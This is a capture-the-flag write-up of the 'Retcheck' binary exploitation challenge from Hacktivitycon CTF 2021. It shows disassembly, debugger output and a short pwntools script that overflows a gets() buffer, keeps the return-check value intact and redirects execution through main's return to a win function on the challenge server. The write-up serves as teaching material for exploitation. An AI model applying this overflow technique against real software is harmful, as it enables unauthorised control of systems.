Hacktivitycon CTF 2021 - Retcheck

"Retcheck" is a binary exploitation challenge in Hacktivitycon CTF 2021. You can download the challenge file here.

Details

First let's do some static analysis on the binary using pwntool's checksec and radare2.

<cjason@cj-basepc:retcheck>>$ pwn checksec retcheck
[!] Could not populate PLT: The 'unicorn<1.0.2rc4,>=1.0.2rc1' distribution was not found and is required by pwntools
[*] '/home/cjason/ctfs/hacktivity/pwn/retcheck/retcheck'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

<cjason@cj-basepc:retcheck>>$ r2 retcheck
WARNING: No calling convention defined for this file, analysis may be inaccurate.
 -- Greetings, human.
[0x004011d0]> aaa
[Warning: set your favourite calling convention in `e anal.cc=?`
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x004011d0]> afl
0x004011d0    1 47           entry0
0x00401210    4 33   -> 31   sym.deregister_tm_clones
0x00401240    4 49           sym.register_tm_clones
0x00401280    3 33   -> 32   sym.__do_global_dtors_aux
0x004012b0    1 6            entry.init0
0x004014e0    1 5            sym.__libc_csu_fini
0x004013da    3 121          sym.vuln
0x00401120    1 11           sym.imp.puts
0x00401190    1 11           sym.imp.gets
0x00401160    1 11           sym.imp.strcspn
0x00401110    1 11           sym.imp.abort
0x00401504    1 13           sym._fini
0x004014f0    1 19           sym.fstat
0x00401470    4 101          sym.__libc_csu_init
0x004012e9    5 241          sym.win
0x00401200    1 5            sym._dl_relocate_static_pie
0x00401453    1 25           main
0x00401000    3 27           sym._init
0x004012b6    1 51           sym.setup
0x00401150    1 11           sym.imp.setbuf
0x00401100    1 11           sym.imp.free
0x00401130    1 11           sym.imp.fread
0x00401140    1 11           sym.imp.fclose
0x00401170    1 11           sym.imp.calloc
0x00401180    1 11           sym.imp.fileno
0x004011a0    1 11           sym.imp.__fxstat
0x004011b0    1 11           sym.imp.fopen
0x004011c0    1 11           sym.imp.exit
[0x004011d0]>

The binary does not have stack protection enabled as indicated by "No canary found" from the output of checksec. In addition, PIE or position independent executable is not enabled. The list of functions displayed by radare2 shows the function gets, which is vulnerable. In simple terms, gets will only stop reading after a newline character or end-of-file character, which it then appends a null character to the buffer. This allows an attacker to input arbitrary amounts of data into the buffer, causing it to overflow.

Let's seek to the main function in radare and disassemble it.

[0x00401453]> s main
[0x00401453]> pdf
            ; DATA XREF from entry0 @ 0x4011f1
┌ 25: main ();
│           0x00401453      f30f1efa       endbr64
│           0x00401457      55             push rbp
│           0x00401458      4889e5         mov rbp, rsp
│           0x0040145b      b800000000     mov eax, 0
│           0x00401460      e875ffffff     call sym.vuln
│           0x00401465      b800000000     mov eax, 0
│           0x0040146a      5d             pop rbp
└           0x0040146b      c3             ret
[0x00401453]>

It pretty much does nothing other than call the vuln function. Right, let's see what the vuln function does.

[0x00401453]> s sym.vuln
[0x004013da]> pdf
            ; CALL XREF from main @ 0x401460
┌ 121: sym.vuln (int64_t arg_8h);
│           ; var int64_t var_190h @ rbp-0x190
│           ; arg int64_t arg_8h @ rbp+0x8
│           0x004013da      f30f1efa       endbr64
│           0x004013de      55             push rbp
│           0x004013df      4889e5         mov rbp, rsp
│           0x004013e2      4881ec900100.  sub rsp, 0x190
│           0x004013e9      488b4508       mov rax, qword [arg_8h]
│           0x004013ed      4889053c2c00.  mov qword [obj.RETADDR], rax ; [0x404030:8]=0
│           0x004013f4      488d3d5d0c00.  lea rdi, str.retcheck_enabled___ ; 0x402058 ; "retcheck enabled !!"
│           0x004013fb      e820fdffff     call sym.imp.puts
│           0x00401400      488d8570feff.  lea rax, [var_190h]
│           0x00401407      4889c7         mov rdi, rax
│           0x0040140a      b800000000     mov eax, 0
│           0x0040140f      e87cfdffff     call sym.imp.gets
│           0x00401414      488d8570feff.  lea rax, [var_190h]
│           0x0040141b      488d354a0c00.  lea rsi, [0x0040206c]       ; "\r\n"
│           0x00401422      4889c7         mov rdi, rax
│           0x00401425      e836fdffff     call sym.imp.strcspn
│           0x0040142a      c6840570feff.  mov byte [rbp + rax - 0x190], 0
│           0x00401432      4889e8         mov rax, rbp
│           0x00401435      4883c008       add rax, 8
│           0x00401439      488b00         mov rax, qword [rax]
│           0x0040143c      4889c2         mov rdx, rax
│           0x0040143f      488b05ea2b00.  mov rax, qword [obj.RETADDR] ; [0x404030:8]=0
│           0x00401446      4839c2         cmp rdx, rax
│       ┌─< 0x00401449      7405           je 0x401450
│       │   0x0040144b      e8c0fcffff     call sym.imp.abort
│       │   ; CODE XREF from sym.vuln @ 0x401449
│       └─> 0x00401450      90             nop
│           0x00401451      c9             leave
└           0x00401452      c3             ret
[0x004013da]>

The gets call lies in the vuln function, this means we could potentially overflow the return address of this function and have control over the program. But wait! while this executable does not have stack protection, it does however have a uncommon "return address" check before leaving the function. It seems that the program first loads the return address of the vuln function by having the variable arg_8h point 1 location (64-bit) below the base pointer rbp. This return address is stored in a global variable obj.RETADDR and is compared later on again with rbp+0x8.

So, if we just naively overflow the stack, the return check function will detect rbp+0x8 is changed by comparing with the global obj.RETADDR. What we could try to do in this case if we overflow the buffer but with a carefully placed return address, so that the return check doesn't fail. This is possible because PIE is not enabled, which means that the addresses in the executable are the same through all of its invocations. Looking back at our main function, the return address of vuln should be 0x00401465. We will keep this in mind when we proceed.

Finally, let's look at one more uncommon function sym.win at 0x004012e9.

[0x004011d0]> s sym.win
[0x004012e9]> pdf
┌ 241: sym.win ();
│           ; var int64_t var_a0h @ rbp-0xa0
│           ; var int64_t var_70h @ rbp-0x70
│           ; var uint32_t var_10h @ rbp-0x10
│           ; var uint32_t var_8h @ rbp-0x8
│           0x004012e9      f30f1efa       endbr64
│           0x004012ed      55             push rbp
│           0x004012ee      4889e5         mov rbp, rsp
│           0x004012f1      4881eca00000.  sub rsp, 0xa0
│           0x004012f8      48c745f80000.  mov qword [var_8h], 0
│           0x00401300      48c745f00000.  mov qword [var_10h], 0
│           0x00401308      488d35f90c00.  lea rsi, [0x00402008]       ; "r"
│           0x0040130f      488d3df40c00.  lea rdi, str.flag.txt       ; 0x40200a ; "flag.txt"
│           0x00401316      e895feffff     call sym.imp.fopen
│           0x0040131b      488945f8       mov qword [var_8h], rax
│           0x0040131f      48837df800     cmp qword [var_8h], 0
│       ┌─< 0x00401324      7516           jne 0x40133c
│       │   0x00401326      488d3de60c00.  lea rdi, str.Could_not_open_flag_file. ; 0x402013 ; "Could not open flag file."
│       │   0x0040132d      e8eefdffff     call sym.imp.puts
│       │   0x00401332      bf01000000     mov edi, 1
│       │   0x00401337      e884feffff     call sym.imp.exit
│       │   ; CODE XREF from sym.win @ 0x401324
│       └─> 0x0040133c      488b45f8       mov rax, qword [var_8h]
│           0x00401340      4889c7         mov rdi, rax
│           0x00401343      e838feffff     call sym.imp.fileno
│           0x00401348      89c2           mov edx, eax
│           0x0040134a      488d8560ffff.  lea rax, [var_a0h]
│           0x00401351      4889c6         mov rsi, rax
│           0x00401354      89d7           mov edi, edx
│           0x00401356      e895010000     call sym.fstat
│           0x0040135b      488b4590       mov rax, qword [var_70h]
│           0x0040135f      4883c001       add rax, 1
│           0x00401363      be01000000     mov esi, 1
│           0x00401368      4889c7         mov rdi, rax
│           0x0040136b      e800feffff     call sym.imp.calloc
│           0x00401370      488945f0       mov qword [var_10h], rax
│           0x00401374      48837df000     cmp qword [var_10h], 0
│       ┌─< 0x00401379      7516           jne 0x401391
│       │   0x0040137b      488d3dae0c00.  lea rdi, str.Failed_to_allocate_memory_for_the_flag. ; 0x402030 ; "Failed to allocate memory for the flag."
│       │   0x00401382      e899fdffff     call sym.imp.puts
│       │   0x00401387      bf01000000     mov edi, 1
│       │   0x0040138c      e82ffeffff     call sym.imp.exit
│       │   ; CODE XREF from sym.win @ 0x401379
│       └─> 0x00401391      488b4590       mov rax, qword [var_70h]
│           0x00401395      4889c6         mov rsi, rax
│           0x00401398      488b55f8       mov rdx, qword [var_8h]
│           0x0040139c      488b45f0       mov rax, qword [var_10h]
│           0x004013a0      4889d1         mov rcx, rdx
│           0x004013a3      4889f2         mov rdx, rsi
│           0x004013a6      be01000000     mov esi, 1
│           0x004013ab      4889c7         mov rdi, rax
│           0x004013ae      e87dfdffff     call sym.imp.fread
│           0x004013b3      488b45f0       mov rax, qword [var_10h]
│           0x004013b7      4889c7         mov rdi, rax
│           0x004013ba      e861fdffff     call sym.imp.puts
│           0x004013bf      488b45f8       mov rax, qword [var_8h]
│           0x004013c3      4889c7         mov rdi, rax
│           0x004013c6      e875fdffff     call sym.imp.fclose
│           0x004013cb      488b45f0       mov rax, qword [var_10h]
│           0x004013cf      4889c7         mov rdi, rax
│           0x004013d2      e829fdffff     call sym.imp.free
│           0x004013d7      90             nop
│           0x004013d8      c9             leave
└           0x004013d9      c3             ret

It seems that sym.win is the function we want our program to execute. Let's find the offsets for our attack. To do this, we can use a cyclic pattern and pwndbg.

<cjason@cj-basepc:retcheck>>$ pwn cyclic 1024 > pattern
<cjason@cj-basepc:retcheck>>$ gdb retcheck
GNU gdb (GDB) 10.2
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 190 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from retcheck...
(No debugging symbols found in retcheck)

pwndbg> r < pattern
Starting program: /home/cjason/ctfs/hacktivity/pwn/retcheck/retcheck < pattern
retcheck enabled !!

Program received signal SIGABRT, Aborted.
0x00007ffff7e03d22 in raise () from /usr/lib/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x7ffff7f94580 ◂— 0x7ffff7f94580
 RCX  0x7ffff7e03d22 (raise+322) ◂— mov    rax, qword ptr [rsp + 0x108]
 RDX  0x0
 RDI  0x2
 RSI  0x7fffffffdbe0 ◂— 0x0
 R8   0x0
 R9   0x7fffffffdbe0 ◂— 0x0
 R10  0x8
 R11  0x246
 R12  0x4011d0 (_start) ◂— endbr64
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x7ffff7f898f0 (lock) ◂— 0x0
 RSP  0x7fffffffdbe0 ◂— 0x0
 RIP  0x7ffff7e03d22 (raise+322) ◂— mov    rax, qword ptr [rsp + 0x108]
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
 ► 0x7ffff7e03d22 <raise+322>    mov    rax, qword ptr [rsp + 0x108]
   0x7ffff7e03d2a <raise+330>    sub    rax, qword ptr fs:[0x28]
   0x7ffff7e03d33 <raise+339>    jne    raise+372 <raise+372>
    ↓
   0x7ffff7e03d54 <raise+372>    call   __stack_chk_fail <__stack_chk_fail>

   0x7ffff7e03d59                nop    dword ptr [rax]
   0x7ffff7e03d60 <killpg>       endbr64
   0x7ffff7e03d64 <killpg+4>     test   edi, edi
   0x7ffff7e03d66 <killpg+6>     js     killpg+16 <killpg+16>

   0x7ffff7e03d68 <killpg+8>     neg    edi
   0x7ffff7e03d6a <killpg+10>    jmp    kill <kill>

   0x7ffff7e03d6f <killpg+15>    nop
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7fffffffdbe0 ◂— 0x0
01:0008│            0x7fffffffdbe8 —▸ 0x7ffff7fda488 (_dl_relocate_object+3016) ◂— lea    rsp, [rbp - 0x28]
02:0010│            0x7fffffffdbf0 —▸ 0x7ffff7e52980 (free) ◂— endbr64
03:0018│            0x7fffffffdbf8 —▸ 0x7ffff7e530f0 (calloc) ◂— endbr64
04:0020│            0x7fffffffdc00 —▸ 0x7ffff7ffe1e0 ◂— 0x0
05:0028│            0x7fffffffdc08 ◂— 0x0
06:0030│            0x7fffffffdc10 —▸ 0x7fffffffdcc0 ◂— 0xffffffffffffffff
07:0038│            0x7fffffffdc18 —▸ 0x7ffff7fcdc80 ◂— 0x2fdf0
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
 ► f 0   0x7ffff7e03d22 raise+322
   f 1   0x7ffff7ded862 abort+278
   f 2         0x401450 vuln+118
   f 3 0x6561616465616163
   f 4 0x6561616665616165
   f 5 0x6561616865616167
   f 6 0x6561616a65616169
   f 7 0x6561616c6561616b
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────

As expected, we got an ABORT signal because rbp+0x8 doesn't match with the return address. Let's find out what value is at rbp+0x8. First, we set a breakpoint at 0x00401446 by doing break *0x401446. Then, we rerun the program with the same input.

pwndbg> r < pattern
Starting program: /home/cjason/ctfs/hacktivity/pwn/retcheck/retcheck < pattern
retcheck enabled !!

Breakpoint 1, 0x0000000000401446 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 RAX  0x401465 (main+18) ◂— mov    eax, 0
 RBX  0x401470 (__libc_csu_init) ◂— endbr64
 RCX  0x0
 RDX  0x6561616465616163 ('caaedaae')
 RDI  0x7fffffffde40 ◂— 0x6161616261616161 ('aaaabaaa')
 RSI  0x1
 R8   0x402060 ◂— ' enabled !!'
 R9   0x0
 R10  0x7ffff7dd6798 ◂— 0x10001200002ab7
 R11  0x246
 R12  0x4011d0 (_start) ◂— endbr64
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfd0 ◂— 0x656161626561617a ('zaaebaae')
 RSP  0x7fffffffde40 ◂— 0x6161616261616161 ('aaaabaaa')
 RIP  0x401446 (vuln+108) ◂— cmp    rdx, rax
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
 ► 0x401446 <vuln+108>    cmp    rdx, rax <0x401465>
   0x401449 <vuln+111>    je     vuln+118 <vuln+118>

   0x40144b <vuln+113>    call   abort@plt <abort@plt>

   0x401450 <vuln+118>    nop
   0x401451 <vuln+119>    leave
   0x401452 <vuln+120>    ret

   0x401453 <main>        endbr64
   0x401457 <main+4>      push   rbp
   0x401458 <main+5>      mov    rbp, rsp
   0x40145b <main+8>      mov    eax, 0
   0x401460 <main+13>     call   vuln <vuln>
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rdi rsp 0x7fffffffde40 ◂— 0x6161616261616161 ('aaaabaaa')
01:0008│         0x7fffffffde48 ◂— 0x6161616461616163 ('caaadaaa')
02:0010│         0x7fffffffde50 ◂— 0x6161616661616165 ('eaaafaaa')
03:0018│         0x7fffffffde58 ◂— 0x6161616861616167 ('gaaahaaa')
04:0020│         0x7fffffffde60 ◂— 0x6161616a61616169 ('iaaajaaa')
05:0028│         0x7fffffffde68 ◂— 0x6161616c6161616b ('kaaalaaa')
06:0030│         0x7fffffffde70 ◂— 0x6161616e6161616d ('maaanaaa')
07:0038│         0x7fffffffde78 ◂— 0x616161706161616f ('oaaapaaa')
─────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
 ► f 0         0x401446 vuln+108
   f 1 0x6561616465616163
   f 2 0x6561616665616165
   f 3 0x6561616865616167
   f 4 0x6561616a65616169
   f 5 0x6561616c6561616b
   f 6 0x6561616e6561616d
   f 7 0x656161706561616f
───────────────────────────────────────────────────────────────────────────────────────────────────────────────

Then, we print the value at rbp+0x8 (or alternatively, just look at the value of rdx).

pwndbg> x/xw $rbp+0x8
0x7fffffffdfd8: 0x65616163
pwndbg> x/s $rbp+0x8
0x7fffffffdfd8: "caaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaag"...

We got the pattern "caae". Using pwntool's cyclic, we can easily get the offset for this pattern.

<cjason@cj-basepc:~>>$ pwn cyclic -l caae
408

Now let's design our payload. What we know so far:

  1. We can overflow the stack in vuln, but we can't control its return address.
  2. We can know what's the return address of vuln, that is 0x401465.
  3. We want to return to sym.win at 0x4012e9.
  4. The addresses do not change as PIE is not enabled.
  5. The offset required to get to $rbp+0x8 is 408.
  6. There is a pop rbp before the final ret in main.

Our strategy: Overflow the buffer with a padding of 408, then place the correct return address (0x401465) which ensures the return check passes. Then, we place a 8 bytes of garbage value to be popped into rbp before placing our target return address (0x4012e0). That's right, we are going to use the return from main to jump to our intended sym.win instead of the ret from vuln.

#!/usr/bin/python

from pwn import *

padding = b'A' * 408 + p64(0x401465) + b'B'*8
retn = p64(0x4012e9)

payload = padding + retn

conn = remote('challenge.ctf.games', 31463)
conn.sendline(payload)
conn.interactive()
Bingo!

Key Takeaway

It is not necessary to have control of return address of the vulnerable function to control program flow.